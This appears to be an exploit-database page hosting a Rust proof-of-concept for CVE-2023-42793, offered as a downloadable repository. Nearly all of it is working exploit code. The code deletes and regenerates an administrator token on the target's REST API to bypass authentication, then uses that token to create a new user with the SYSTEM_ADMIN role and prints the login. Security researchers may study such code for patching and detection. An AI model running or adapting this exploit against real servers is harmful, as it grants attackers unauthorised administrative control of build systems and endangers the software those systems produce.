Exploit database

GH-02a25d9692595357d51a13603151b4b6

junnythemarksman/cve-2023-42793

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2023-42793

13 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files1
junnythemarksman/cve-2023-42793Revision aaba4ba43732

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/main.rs

Rust · 3,163 bytes
use reqwest::{Client, header};
use serde_json::json;
use std::env;
use roxmltree::Document;

#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
    // Get command line arguments
    let args: Vec<String> = env::args().collect();

    // Check if enough arguments are provided
    if args.len() < 4 {
        println!("Usage: ./program <url> <username> <password>");
        return Ok(());
    }

    // Extract base URL
    let base_url = &args[1];

    // Extract credentials
    let username = &args[2];
    let password = &args[3];

    // Define the token (assume it's always appended to the base URL)
    let token = "app/rest/users/id:1/tokens/RPC2";

    // Define credentials in JSON format
    let credentials = json!({
        "username": username,
        "password": password,
        "roles": {
            "role": [{
                    "roleId": "SYSTEM_ADMIN",
                    "scope": "g"
                }]
        }
    });

    // Create a reqwest Client
    let client = Client::new();

    // Delete the URL with token appended
    let delete_url = format!("{}/{}", base_url, token);
    let delete_request = client.delete(&delete_url).send().await?;

    if delete_request.status().is_success() {
        println!("URL with token deleted successfully!");
    } else {
        println!("Failed to delete URL with token. Status: {}", delete_request.status());
    }

    // Get request to fetch data
    let post_request = client.post(&delete_url).send().await?;

    // Check if the request was successful
    if post_request.status().is_success() {
        // Parse the XML response
        let xml_response = post_request.text().await?;
        let document = Document::parse(&xml_response)?;
        let root = document.root_element();

        // Find the value of the "value" attribute
        if let Some(value) = root.attribute("value") {
            
            // Define headers
            let mut headers = header::HeaderMap::new();
            headers.insert(header::CONTENT_TYPE, header::HeaderValue::from_static("application/json"));
            headers.insert(header::AUTHORIZATION, header::HeaderValue::from_str(&format!("Bearer {}", value))?);

            // Post to the user URL with token and given credentials
            let user_url = format!("{}/app/rest/users", base_url);
            let post_request = client
                .post(&user_url)
                .headers(headers)
                .body(credentials.to_string())
                .send()
                .await?;

            if post_request.status().is_success() {
                println!("Post request succeeded!");
                println!("Use the following credential to login:");
                println!("username: {}", username);
                println!("password: {}", password);
            } else {
                println!("Post request failed. Status: {}", post_request.status());
            }
        } else {
            println!("Value attribute not found in the XML response");
        }
    } else {
        println!("POST request failed with status code: {}", post_request.status());
    }

    Ok(())
}